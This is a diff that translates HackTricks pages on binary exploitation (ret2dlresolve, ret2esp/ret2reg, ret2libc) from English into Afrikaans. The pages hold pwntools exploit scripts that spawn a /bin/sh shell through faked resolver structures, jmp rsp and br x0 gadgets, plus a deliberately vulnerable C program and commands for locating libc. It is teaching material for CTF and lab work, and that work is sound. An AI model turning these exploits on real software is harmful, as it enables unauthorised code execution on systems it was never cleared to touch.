+Soos verduidelik op die bladsy oor [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) en [**Relro**](../common-binary-protections-and-bypasses/relro.md), sal binaries sonder Full Relro simbole (soos adresse na eksterne libraries) resolve die eerste keer wat hulle gebruik word. Hierdie resolution vind plaas deur die funksie **`_dl_runtime_resolve`** te roep.
-The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol.
+Die **`_dl_runtime_resolve`**-funksie neem verwysings na sekere strukture vanaf die stack wat dit nodig het om die gespesifiseerde simbool te **resolve**.
-Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**).
+Daarom is dit moontlik om **al hierdie strukture te fake** sodat die dynamic linker die aangevraagde simbool (soos die **`system`**-funksie) resolve en dit met 'n gekonfigureerde parameter roep (byvoorbeeld **`system('/bin/sh')`**).
-Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`.
+Gewoonlik word al hierdie strukture gefake deur 'n **aanvanklike ROP chain te maak wat `read`** oor 'n skryfbare memory roep. Daarna word die **strukture** en die string **`'/bin/sh'`** gestuur sodat `read` hulle op 'n bekende plek stoor. Dan gaan die ROP chain voort deur **`_dl_runtime_resolve`** te roep, dit die **adres van `system`** in die fake strukture te laat resolve en **hierdie adres te roep** met die adres van `$'/bin/sh'`.
> [!TIP]
-> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses.
+> Hierdie tegniek is veral nuttig as daar geen syscall gadgets is nie (om tegnieke soos [**ret2syscall**](rop-syscall-execv/index.html) of [SROP](srop-sigreturn-oriented-programming/index.html) te gebruik) en daar geen maniere is om libc-adresse te leak nie.
-Chek this video for a nice explanation about this technique in the second half of the video:
+Kyk na die tweede helfte van hierdie video vir 'n duidelike verduideliking van die tegniek:[[1]](#references)
-{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
-Or check these pages for a step-by-step explanation:
+{{#ref}}
+https://youtu.be/ADULSwnQs-s?feature=shared
+{{#endref}}
+
+Of kyk na hierdie bladsye vir 'n stap-vir-stap-verduideliking:[[2]](#references)[[4]](#references)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
-## Attack Summary
-
-1. Write fake estructures in some place
-2. Set the first argument of system (`$rdi = &'/bin/sh'`)
-3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`**
-4. **Call** `_dl_runtime_resolve`
-5. **`system`** will be resolved and called with `'/bin/sh'` as argument
+## Aanvalopsomming
-From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like:
+1. Skryf fake strukture na 'n skryfbare plek
+2. Stel die eerste argument van system (`$rdi = &'/bin/sh'`)
+3. Plaas die adresse na die strukture op die stack om **`_dl_runtime_resolve`** te roep
+4. **Roep** `_dl_runtime_resolve`
+5. **`system`** sal resolved en geroep word met `'/bin/sh'` as argument
+Volgens die [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) lyk 'n **`ret2dlresolve`**-aanval só:[[7]](#references)
```python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
@@ -53,13 +55,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
0x0040: 0x4003e0 [plt_init] system
0x0048: 0x15670 [dlresolve index]
```
-
## Example
### Pure Pwntools
-You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
-
+Jy kan [**hier ’n voorbeeld van hierdie tegniek vind**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **wat ’n baie goeie verduideliking van die finale ROP chain bevat**, maar hier is die finale exploit wat gebruik is:[[5]](#references)
```python
from pwn import *
@@ -81,12 +81,12 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re
p.interactive()
```
+### Rou
-### Raw
-
+Die volgende rou 0CTF `babystack` exploit wys dieselfde tegniek sonder die pwntools-helper: dit plaas vervalste relocation- en simbooldata in `.bss`, en roep dan die resolver met die vervalste relocation-offset aan.[[3]](#references)[[6]](#references)
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
-# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
+# This exploit is based on: https://github.com/sajjadium/ctf-writeups/tree/master/ctfs/0CTF/2018/Quals/babystack
from pwn import *
@@ -186,12 +186,14 @@ target.send(paylaod2)
# Enjoy the shell!
target.interactive()
```
-
-## Other Examples & References
-
-- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
-- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
-- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- - 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`.
-
+## References
+
+- [1] [Verbeter jou ROP-vaardighede met SROP en ret2dlresolve - Giulia Martino (HackTricks Track 2023)](https://youtu.be/ADULSwnQs-s?feature=shared)
+- [2] [ret2dlresolve - ir0nstone-notas](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
+- [3] [0ctf18 babystack - Nightmare (guyinatuxedo)](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
+- 32bit, geen relro, geen canary, nx, geen pie, basiese klein buffer overflow en return. Om dit te eksploiteer, word die bof gebruik om `read` weer met ’n `.bss`-afdeling en ’n groter grootte aan te roep, om die `dlresolve`-vals tabelle daarin te stoor sodat `system` gelaai kan word, na main terug te keer en die aanvanklike bof weer te misbruik om dlresolve en daarna `system('/bin/sh')` aan te roep.
+- [4] [ret2dlresolve - CTF-resepte](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
+- [5] [ret2dlresolve exploitation - ir0nstone-notas](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation)
+- [6] [0CTF 2018 babystack write-up - sajjadium](https://github.com/sajjadium/ctf-writeups/tree/master/ctfs/0CTF/2018/Quals/babystack)
+- [7] [pwntools - ret2dlresolve-dokumentasie](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
index 868f6ffa53b..7bbc75c0a88 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
@@ -4,27 +4,48 @@
## **Ret2esp**
-**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored.
+**Omdat die ESP (Stack Pointer) altyd na die bokant van die stack wys**, behels hierdie tegniek die vervanging van die EIP (Instruction Pointer) met die adres van 'n **`jmp esp`**- of **`call esp`**-instruksie. Deur dit te doen, word die shellcode direk ná die oorgeskrewe EIP geplaas. Wanneer die `ret`-instruksie uitgevoer word, wys ESP na die volgende adres, presies waar die shellcode gestoor is.[[1]](#references)
-If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)).
+Indien **Address Space Layout Randomization (ASLR)** nie in Windows of Linux geaktiveer is nie, is dit moontlik om `jmp esp`- of `call esp`-instruksies te gebruik wat in shared libraries gevind word. Met [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) aktief, moet 'n mens egter moontlik binne die kwesbare program self na hierdie instruksies soek (en jy moet dalk [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) omseil).
-Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack.
+Daarbenewens verseker die vermoë om die shellcode **ná die EIP-korrupsie** te plaas, eerder as in die middel van die stack, dat enige `push`- of `pop`-instruksies wat tydens die funksie se werking uitgevoer word, nie met die shellcode inmeng nie. Hierdie inmenging kan plaasvind indien die shellcode in die middel van die funksie se stack geplaas word.
-### Lacking space
-
-If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like:
+### Gebrek aan spasie
+Indien jy nie genoeg spasie het om ná die oorskryf van RIP te skryf nie (dalk net 'n paar grepe), skryf 'n aanvanklike **`jmp`**-shellcode soos volg:
```armasm
sub rsp, 0x30
jmp rsp
```
+En skryf die shellcode vroeg in die stack.
+
+### Vind `jmp/call esp/rsp`-gadgets
+
+In moderne challenges is dit algemeen om hierdie soektog eers te outomatiseer en eers daarna shellcode te begin plaas. Sommige praktiese opsies is:
+```python
+from pwn import *
+
+elf = ELF('./vuln')
+rop = ROP(elf)
+
+print(rop.jmp_esp) # i386
+print(rop.jmp_rsp) # amd64
+```
+`pwntools` sal ook gadgets weggooi waarvan die **adres badchars bevat**, wat nuttig is wanneer die instruksie bestaan, maar nie direk vanaf die overflow gebruik kan word nie.[[3]](#references)
-And write the shellcode early in the stack.
+Jy kan ook meer aggressief met `ROPgadget` soek, want soms bevat die binary nie ’n skoon gedisassembleerde `jmp rsp` nie, maar dit bevat steeds die rou opcode-bytes binne een of ander ander uitvoerbare instruction stream:
+```bash
+ROPgadget --binary ./vuln --re "jmp|call" | grep -Ei "(esp|rsp)"
+ROPgadget --binary ./vuln --opcode ffe4 # jmp esp / jmp rsp
+ROPgadget --binary ./vuln --opcode ffd4 # call esp / call rsp
+```
+Dit is veral nuttig in amd64 omdat die opcode vir **`jmp rsp`** slegs **`ff e4`** is, sodat enige uitvoerbare byte sequence met daardie bytes 'n geldige landing point kan word.
-### Example
+Op **CET-IBT** binaries is daardie opcode-only treffers baie minder nuttig omdat daar verwag word dat 'n indirekte `jmp`/`call`-teiken op 'n **`ENDBR32` / `ENDBR64`** landing pad begin. In die praktyk moet jy werklike compiler-generated landing points bo mid-instruction `ff e4` / `ff d4`-matches prioritiseer wanneer jy sien dat IBT enabled is.[[8]](#references)
-You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like:
+### Voorbeeld
+Jy kan 'n voorbeeld van hierdie tegniek vind by [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp), met 'n finale exploit soos:[[2]](#references)
```python
from pwn import *
@@ -36,17 +57,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
- sub rsp, 10;
- jmp rsp;
+sub rsp, 10;
+jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
-
-You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode:
-
+Jy kan nog ’n voorbeeld van hierdie technique sien in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Daar is ’n buffer overflow sonder dat NX geaktiveer is. Die exploit gebruik ’n gadget om die adres van `$esp` te verlaag en dan ’n `jmp esp;` om na die shellcode te spring:[[5]](#references)
```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
@@ -81,47 +100,57 @@ target.sendline(payload)
# Drop to an interactive shell
target.interactive()
```
-
## Ret2reg
-Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**).
+Net so, indien ons weet dat ’n funksie die adres terugstuur waar die shellcode gestoor word, kan ons **`call eax`**- of **`jmp eax`**-instruksies (bekend as die **ret2eax**-tegniek) benut, wat nog ’n metode bied om ons shellcode uit te voer. Net soos eax kan **enige ander register** wat ’n interessante adres bevat, gebruik word (**ret2reg**).
-### Example
+Tipiese gevalle is funksies wat die bestemmingsbuffer in die return-value-register terugstuur, of code paths wat ’n pointer na die attacker-controlled buffer in een of ander argument/scratch-register behou totdat die kwesbare `ret` plaasvind.
-You can find some examples here:
+### Soek na die register jump
-- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
+Op x86/x64 soek jy gewoonlik na **`jmp reg`** of **`call reg`** wat die register teiken wat na jou bytes wys:
+```bash
+ROPgadget --binary ./vuln --re "jmp|call" | grep -Ei "(eax|ebx|ecx|edx|esi|edi|esp|rax|rbx|rcx|rdx|rsi|rdi|rsp)"
+```
+Op ARM64 geld dieselfde idee, maar jy soek gewoonlik eerder na **`br xN`**- of **`blr xN`**-gadgets:
+```bash
+ROPgadget --binary ./vuln --only "br|blr"
+```
+As die binary met badchar-beperkings beskerm word, onthou dat die **gadget-adres** net so belangrik soos die gadget-mnemonic is. ’n Perfekte `jmp rax` is nutteloos as die adres nie ongeskonde geïnjecteer kan word nie.
+
+### Voorbeeld
+
+Jy kan sommige voorbeelde hier vind:
+
+- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)[[6]](#references)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
- - **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`.
+- **`strcpy`** stoor die adres van die buffer waar die shellcode gestoor is in **`eax`**, en **`eax`** word nie oorskryf nie, dus is dit moontlik om ’n `ret2eax` te gebruik.[[7]](#references)
## ARM64
### Ret2sp
-In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that:
-
+In ARM64 is daar **geen** instruksies wat toelaat dat daar **direk na die SP-register gespring word nie**. Dit mag moontlik wees om ’n gadget te vind wat sp na ’n register **skuif en dan na daardie register spring**, maar in die libc van my kali kon ek geen gadget soos daardie vind nie:
```bash
for i in `seq 1 30`; do
- ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
+ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
```
-
-The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless):
+Die enigstes wat ek ontdek het, sou die waarde van die register verander waarheen `sp` gekopieer is voordat daarheen gespring word (dit sou dus nutteloos word):
### Ret2reg
-If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like:
-
+As 'n register 'n interessante adres bevat, is dit moontlik om daarheen te spring deur bloot die geskikte instruksie te vind. Jy kan iets soos die volgende gebruik:
```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```
+In ARM64 is dit **`x0`** wat die returnwaarde van ’n funksie stoor, dus kan dit wees dat x0 die adres van ’n buffer stoor wat deur die gebruiker beheer word, met ’n shellcode om uit te voer.
-In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute.
-
-Example code:
+As die finale target in ’n **BTI-guarded executable page** is, onthou dat `br xN` ’n jump landing pad (`bti j` / `bti jc`) verwag, terwyl `blr xN` een verwag wat versoenbaar is met ’n call (`bti c` / `bti jc`). Voordat jy op raw shellcode bytes staatmaak, kyk vinnig of die ELF **`AArch64 feature: BTI, PAC`** adverteer met `readelf -n ./vuln`.[[9]](#references)
+Voorbeeldkode:
```c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
@@ -129,34 +158,32 @@ Example code:
#include
void do_stuff(int do_arg){
- if (do_arg == 1)
- __asm__("br x0");
- return;
+if (do_arg == 1)
+__asm__("br x0");
+return;
}
char* vulnerable_function() {
- char buffer[64];
- fgets(buffer, sizeof(buffer)*3, stdin);
- return buffer;
+char buffer[64];
+fgets(buffer, sizeof(buffer)*3, stdin);
+return buffer;
}
int main(int argc, char **argv) {
- char* b = vulnerable_function();
- do_stuff(2)
- return 0;
+char* b = vulnerable_function();
+do_stuff(2);
+return 0;
}
```
-
-Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow:
+Deur die disassembly van die funksie na te gaan, is dit moontlik om te sien dat die **adres na die buffer** (kwesbaar vir bof en **deur die gebruiker beheer**) in **`x0` gestoor** word voordat daar van die buffer overflow teruggekeer word:
-It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function:
+Dit is ook moontlik om die gadget **`br x0`** in die **`do_stuff`**-funksie te vind:
-We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be:
-
+Ons sal daardie gadget gebruik om daarheen te spring, omdat die binary **SONDER PIE** gekompileer is. Deur ’n pattern te gebruik, is dit moontlik om te sien dat die **offset van die buffer overflow 80 is**, dus sal die exploit wees:
```python
from pwn import *
@@ -171,19 +198,34 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
```
-
> [!WARNING]
-> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\
-> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**.
+> As iets soos **`read` in plaas van `fgets` gebruik is, sou dit moontlik gewees het om PIE ook te omseil deur **slegs die laaste 2 grepe van die return address te oorskryf** om na die `br x0;`-instruksie terug te keer, sonder dat die volledige adres bekend hoef te wees.\
+> Met `fgets` werk dit nie, omdat dit **'n null (0x00)-greep aan die einde byvoeg**.
+
+## Beskermings
-## Protections
+- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): As die teikengeheue nie uitvoerbaar is nie, gee **ret2esp/ret2reg jou slegs beheer oor flow-redirection**, nie code execution nie. In moderne exploits word dit dikwels gekombineer met 'n vorige `mprotect`/`VirtualProtect`-stylfase of met geheue wat reeds uitvoerbaar is.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Dit maak dit moeiliker om die adres van die finale `jmp/call `-gadget te ken. Gedeeltelike overwrites kan steeds werk wanneer die gadget naby genoeg aan die oorspronklike return address is.
+- **CET / Shadow Stack**](../common-binary-protections-and-bypasses/cet-and-shadow-stack.md): Op x86_64 word klassieke ret-gebaseerde toegang tot `jmp esp` / `jmp rsp` / `jmp reg`-gadgets onbetroubaar, omdat die korrupte return address teen die hardeware se shadow stack nagegaan word voordat die gadget bereik word. As **IBT** aktief is, moet die finale indirekte `jmp` / `call` ook op 'n geldige `ENDBR32` / `ENDBR64`-teiken land, eerder as op enige arbitrêre gadget-bytes.[[8]](#references)
+- **ARM64 PAC/BTI**: Pointer Authentication kan die klassieke saved-LR-overwrite-pad breek, en Branch Target Identification beteken dat `br xN`-spronge verwag word om op 'n geldige BTI-landing pad (`bti j` / `bti jc`) te land. 'n `br xN`-gadget kan bestaan, maar steeds 'n fout veroorsaak op hardened binaries as die bestemmingsgrepe nie 'n geldige indirekte branch-teiken is nie.[[4]](#references)[[9]](#references)
+
+Doen 'n vinnige triage voordat jy jou tot ret2esp/ret2reg op 'n moderne teiken verbind:[[8]](#references)[[9]](#references)
+```bash
+readelf -n ./vuln | grep -aE 'IBT|SHSTK|AArch64 feature: BTI|AArch64 feature: PAC'
+objdump -d ./vuln | grep -nE 'endbr(32|64)|bti [cj]|paci[a-z]+'
+```
+## Verwysings
-- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register.
+- [1] [ir0nstone - Reliable shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
+- [2] [ir0nstone - Reliable shellcode: met RSP](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
+- [3] [pwntools - ROP-dokumentasie](https://docs.pwntools.com/en/stable/rop/rop.html)
+- [4] [Arm Community - Aktivering van PAC en BTI op AArch64](https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/p3-enabling-pac-and-bti-on-aarch64)
+- [5] [guyinatuxedo - xctf16 b0verflow (stack pivot)](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html)
+- [6] [ir0nstone - Reliable shellcode: met ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
+- [7] [florianhofhammer - ret2eax.c (ASLR Smack and Laugh-verwysing)](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
+- [8] [Linux kernel-dokumentasie - CET Shadow Stack](https://docs.kernel.org/arch/x86/shstk.html)
+- [9] [Arm Developer - Deel 2: Aktivering van PAC en BTI op AArch64 vir Linux](https://developer.arm.com/community/arm-community-blogs/b/architectures-and-processors-blog/posts/p2-enabling-pac-and-bti-on-aarch64)
-## References
-- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
-- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
index c213407d339..fc05489552c 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
@@ -2,103 +2,93 @@
{{#include ../../../banners/hacktricks-training.md}}
-## **Basic Information**
+## **Basiese Inligting**
-The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention.
+Die kern van **Ret2Libc** is om die execution flow van ’n kwesbare program te herlei na ’n funksie binne ’n shared library (bv. **system**, **execve**, **strcpy**) in plaas daarvan om aanvaller-verskafte shellcode op die stack uit te voer. Die aanvaller stel ’n payload saam wat die return address op die stack wysig sodat dit na die gewenste library-funksie wys, terwyl enige nodige argumente ook volgens die calling convention korrek opgestel word.
-### **Example Steps (simplified)**
+### **Voorbeeldstappe (vereenvoudig)**
-- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh)
-- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function
+- Kry die address van die funksie wat geroep moet word (bv. system) en die command wat geroep moet word (bv. /bin/sh)[[5]](#references)
+- Genereer ’n ROP chain om die eerste argument te laat wys na die command-string en die execution flow na die funksie te rig[[6]](#references)
-## Finding the addresses
-
-- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with:
+## Vind die addresses
+- As die `libc` wat gebruik word dieselfde een as dié op die huidige masjien is, kan jy bepaal waar dit in memory gelaai sal word met:
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
-
-If you want to check if the ASLR is changing the address of libc you can do:
-
+As jy wil nagaan of ASLR die adres van libc verander, kan jy die volgende doen:
```bash
for i in `seq 0 20`; do ldd ./ | grep libc; done
```
-
-- Knowing the libc used it's also possible to find the offset to the `system` function with:
-
+- Deur te weet watter libc gebruik word, is dit ook moontlik om die offset na die `system`-funksie te vind met:
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
-
-- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with:
-
+- Deur die gebruikte libc te ken, is dit ook moontlik om die offset na die string `/bin/sh`-function te vind met:
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
+### Gebruik van gdb-peda / GEF
-### Using gdb-peda / GEF
-
-Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** :
-
+As jy die gebruikte libc ken, is dit ook moontlik om Peda of GEF te gebruik om die adres van die **system**-funksie, die **exit**-funksie en die string **`/bin/sh`** te kry:
```bash
p system
p exit
find "/bin/sh"
```
+### Gebruik van /proc/\/maps
-### Using /proc/\/maps
+As die process elke keer **children** skep wanneer jy daarmee kommunikeer (network server), probeer om daardie file te **lees** (jy sal waarskynlik root moet wees).
-If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root).
+Hier kan jy **presies sien waar libc gelaai is** binne die process en **waar dit gelaai gaan word** vir elke child van die process.
-Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.
+.png>)
-.png>)
+In hierdie geval is dit gelaai by **0xb75dc000** (Dit sal die base address van libc wees)
-In this case it is loaded in **0xb75dc000** (This will be the base address of libc)
+## Onbekende libc
-## Unknown libc
+Dit is moontlik dat jy **nie weet watter libc die binary laai nie** (omdat dit moontlik op 'n server geleë is waartoe jy geen toegang het nie). In daardie geval kan jy die vulnerability misbruik om **sommige addresses te leak en uit te vind watter libc**-library gebruik word:
-It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used:
{{#ref}}
rop-leaking-libc-address/
{{#endref}}
-And you can find a pwntools template for this in:
+En jy kan 'n pwntools-template hiervoor vind by:
+
{{#ref}}
rop-leaking-libc-address/rop-leaking-libc-template.md
{{#endref}}
-### Know libc with 2 offsets
+### Ken libc met 2 offsets
-Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**.
+Gaan na die bladsy [https://libc.blukat.me/](https://libc.blukat.me/) en gebruik **'n paar addresses** van functions binne libc om uit te vind watter **version gebruik word**.
-## Bypassing ASLR in 32 bits
+## Omseil ASLR in 32 bits
-These brute-forcing attacks are **only useful for 32bit systems**.
-
-- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
+Hierdie brute-forcing-aanvalle is **slegs nuttig vir 32bit-stelsels**.
+- As die exploit local is, kan jy probeer om die base address van libc te brute-force (nuttig vir 32bit-stelsels):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
-
-- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
+- If you ’n afgeleë bediener aanval, kan jy probeer om die adres van die `libc`-funksie `usleep` te **brute-force** en 10 as argument deur te gee (byvoorbeeld). As die **bediener op ’n stadium 10 sekondes langer neem om te reageer**, het jy die adres van hierdie funksie gevind.
## One Gadget
-Execute a shell just jumping to **one** specific **address** in libc:
+Voer ’n shell uit deur net na **een** spesifieke **adres** in libc te spring:
+
{{#ref}}
one-gadget.md
{{#endref}}
-## x86 Ret2lib Code Example
-
-In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server:
